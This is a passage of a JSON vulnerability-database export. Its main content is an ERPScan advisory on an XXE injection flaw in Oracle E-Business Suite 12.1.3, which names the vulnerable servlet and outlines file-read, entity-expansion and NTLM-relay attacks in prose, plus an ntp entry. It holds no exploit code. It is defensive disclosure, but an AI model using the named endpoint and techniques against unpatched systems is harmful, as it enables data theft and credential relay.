["CVE-2015-4854"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "4b5a683c958427d1f139ea46960c1f77"}, {"key": "cvss", "hash": "6e9bdd2021503689a2ad9254c9cdf2b3"}, {"key": "description", "hash": "ac4e2716cd1f40662335b0c2baefa8ac"}, {"key": "href", "hash": "793234d92076d083ca1ba3d060535b33"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "5015d42a9a849429bfd5eccdc891f977"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "d412a2c5f1d57e01c882336bd5b7b03d9bbc5e601468b64828936dded249a019", "viewCount": 183, "enchantments": {"score": {"value": 5.9, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-4854"]}, {"type": "erpscan", "idList": ["ERPSCAN-15-027"]}, {"type": "nessus", "idList": ["ORACLE_E-BUSINESS_CPU_OCT_2015.NASL"]}, {"type": "oracle", "idList": ["ORACLE:CPUOCT2015", "ORACLE:CPUOCT2015-2367953"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32654", "bulletinFamily": "software", "title": "[ERPSCAN-15-029] Oracle E-Business Suite - XXE injection Vulnerability", "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite - XXE injection\r\nAdvisory ID: [ERPSCAN-15-029]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-029-oracle-e-business-suite-xxe-injection-vulnerability/\r\nDate published: 21.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: XML External Entity [CWE-611]\r\nImpact: information disclosure, DoS, SSRF, NTLM relay\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4849\r\nCVSS Information\r\nCVSS Base Score: 6.8 / 10\r\nAV : Access Vector &#40;Related exploit range&#41; Network &#40;N&#41;\r\nAC : Access Complexity &#40;Required attack complexity&#41; Medium &#40;M&#41;\r\nAu : Authentication &#40;Level of authentication needed to exploit&#41; None &#40;N&#41;\r\nC : Impact to Confidentiality Partial &#40;P&#41;\r\nI : Impact to Integrity Partial &#40;P&#41;\r\nA : Impact to Availability Partial &#40;P&#41;\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\n1&#41; An attacker can read an arbitrary file on a server by sending a\r\ncorrect XML request with a crafted DTD and reading the response from\r\nthe service.\r\n2&#41; An attacker can perform a DoS attack &#40;for example, XML Entity Expansion&#41;.\r\n3&#41; An SMB Relay attack is a type of Man-in-the-Middle attack where the\r\nattacker asks the victim to authenticate into a machine controlled by\r\nthe attacker, then relays the credentials to the target. The attacker\r\nforwards the authentication information both ways and gets access.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.3\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin &#40;ERPScan&#41;\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nVulnerable servlet:\r\n/OA_HTML/IspPunchInServlet\r\n\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-029-oracle-e-business-suite-xxe-injection-vulnerability/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions &#40;200 of them just in SAP!&#41;.\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities &#40;TOP 10 Web Hacking Techniques 2012&#41; and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32654", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2015-4849"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "05f33ecfa6c5da775ada7be0946e9c35"}, {"key": "cvss", "hash": "737e2591b537c46d1ca7ce6f0cea5cb9"}, {"key": "description", "hash": "e069b6a0eb846de58d51f6f1caccd76e"}, {"key": "href", "hash": "a034a18d00b9b8f4a3448812c0519f69"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "c9c62536a7dbd3fac9ecbf649050cab1"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "c4015e5d0067bf08940e133c4477451e433581d60a4c9b7745f8b69fced90c4c", "viewCount": 169, "enchantments": {"score": {"value": 6.8, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-4849"]}, {"type": "erpscan", "idList": ["ERPSCAN-15-029"]}, {"type": "nessus", "idList": ["ORACLE_E-BUSINESS_CPU_OCT_2015.NASL"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14755"]}, {"type": "oracle", "idList": ["ORACLE:CPUOCT2015-2367953", "ORACLE:CPUOCT2015"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:VULN:14751", "bulletinFamily": "software", "title": "ntp multiple security vulnerabilities", "description": "Multiple memory corruptions.", "published": "2015-11-01T00:00:00", "modified": "2015-11-01T00:00:00", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14751", "reporter": "UBUNTU", "references": ["https://vulners.com/securityvulns/securityvulns:doc:32649"], "cvelist": ["CVE-2015-7703", "CVE-2015-7855", "CVE-2015-5219", "CVE-2015-7704", "CVE-2015-7701", "CVE-2015-7692", "CVE-2015-7702", "CVE-2015-5194", "CVE-2015-7852", "CVE-2015-7871", "CVE-2015-7691", "CVE-2015-5196", "CVE-2015-7705", "CVE-2015-5300", "CVE-2015-5195", "CVE-2015-7850", "CVE-2015-7853"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:03", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "949d93edfa411b13dc3ae55035c56cf7"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "7b660a602c32464cac301bb3eb4b2612"}, {"key": "cvss", "hash": "ed3111898fb94205e2b64cefef5a2081"}, {"key": "description", "hash": "ef502edf15034abe115c9e00aa85ebaf"}, {"key": "href", "hash": "589a01160f68648839c2e7421b0e7e8a"}, {"key": "modified", "hash": "11a1fb1e93b1161f365e7ed203bb168a"}, {"key": "published", "hash": "11a1fb1e93b1161f365e7ed203bb168a"}, {"key": "references", "hash": "90d48aa915c8f104655a742ccf4472a3"}, {"key": "reporter", "hash": "ef033ebfe5b180fe22339a3ac50acbc1"}, {"key": "title", "hash": "ef73832ceb3a454ffa0ef14f0ac6563f"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "b091acaad6f950add9e6ef900fdcb9fa895dd649ceee9c6e56897ffac9cc2672", "viewCount": 86, "enchantments": {"score": {"value": 7.3, "vector": "NONE", "modified": "2018-08-31T11:10:03", "rev": 2}, "dependencies": {"references": [{"type": "metasploit", "idList": ["MSF:ILITIES/SUSE-CVE-2015-7705/", "MSF:ILITIES/F5-BIG-IP-CVE-2015-7704/", "MSF:ILITIES/F5-BIG-IP-CVE-2015-7703/", "MSF:ILITIES/SUSE-CVE-2015-7850/", "MSF:ILITIES/UBUNTU-CVE-2015-7850/", "MSF:ILITIES/SUSE-CVE-2015-7853/", "MSF:ILITIES/F5-BIG-IP-CVE-2015-7850/", "MSF:ILITIES/UBUNTU-CVE-2015-7855/", "MSF:ILITIES/F5-BIG-IP-CVE-2015-5219/", "MSF:ILITIES/SUSE-CVE-2015-7855/"]}, {"type": "f5", "idList": ["SOL17530", "SOL02360853", "F5:K17530", "F5:K02360853"]}, {"type": "ubuntu", "idList": ["USN-2783-1"]}, {"type": "nessus", "idList": ["FEDORA_2015-77BFBC1BCD.NASL", "AIX_IV79943.NASL", "AIX_NTP_V4_ADVISORY4.NASL", "AIX_IV79944.NASL", "AIX_IV79945.NASL", "DEBIAN_DLA-335.NASL", "AIX_IV79946.NASL", "AIX_IV79942.NASL", "UBUNTU_USN-2783-1.NASL", "AIX_NTP_V3_ADVISORY4.NASL"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:32649"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310871612", "OPENVAS:703388", "OPENVAS:1361412562310131100", "OPENVAS:1361412562310703388", "OPENVAS:1361412562310806533", "OPENVAS:1361412562310120597", "OPENVAS:1361412562310871685", "OPENVAS:1361412562311220161060", "OPENVAS:1361412562310105668", "OPENVAS:1361412562310842504"]}, {"type": "fedora", "idList": ["FEDORA:BF30B604EC08", "FEDORA:33F3A604C871"]}, {"type": "debian", "idList": ["DEBIAN:DSA-3388-1:B971A", "DEBIAN:DLA-335-1:922EB"]}, {"type": "aix", "idList": ["NTP_ADVISORY4.ASC"]}, {"type": "amazon", "idList": ["ALAS-2015-607"]}, {"type": "archlinux", "idList": ["ASA-201510-14"]}, {"type": "freebsd", "idList": ["C4A18A12-77FC-11E5-A687-206A8A720317"]}, {"type": "cisco", "idList": ["CISCO-SA-20151021-NTP"]}, {"type": "oraclelinux", "idList": ["ELSA-2016-0780"]}, {"type": "slackware", "idList": ["SSA-2015-302-03"]}, {"type": "redhat", "idList": ["RHSA-2016:0780", "RHSA-2016:2583"]}, {"type": "centos", "idList": ["CESA-2016:0780", "CESA-2016:2583"]}, {"type": "symantec", "idList": ["SMNTC-1335"]}, {"type": "cve", "idList": ["CVE-2015-7705", "CVE-2015-7850", "CVE-2015-7703", "CVE-2015-7853", "CVE-2015-7871", "CVE-2015-7852", "CVE-2015-7691", "CVE-2015-5196", "CVE-2015-7702", "CVE-2015-7704"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2015-7853", "UB:CVE-2015-7703", "UB:CVE-2015-7704", "UB:CVE-2015-7691", "UB:CVE-2015-7702", "UB:CVE-2015-7852", "UB:CVE-2015-7871", "UB:CVE-2015-7705", "UB:CVE-2015-7850"]}, {"type": "ics", "idList": ["ICSA-15-356-01"]}], "modified": "2018-08-31T11:10:03", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [{"name": "ntp", "operator": "eq", "version": "4.2"}], "immutableFields": [], "cvss2": {}, "cvss3": {}}]}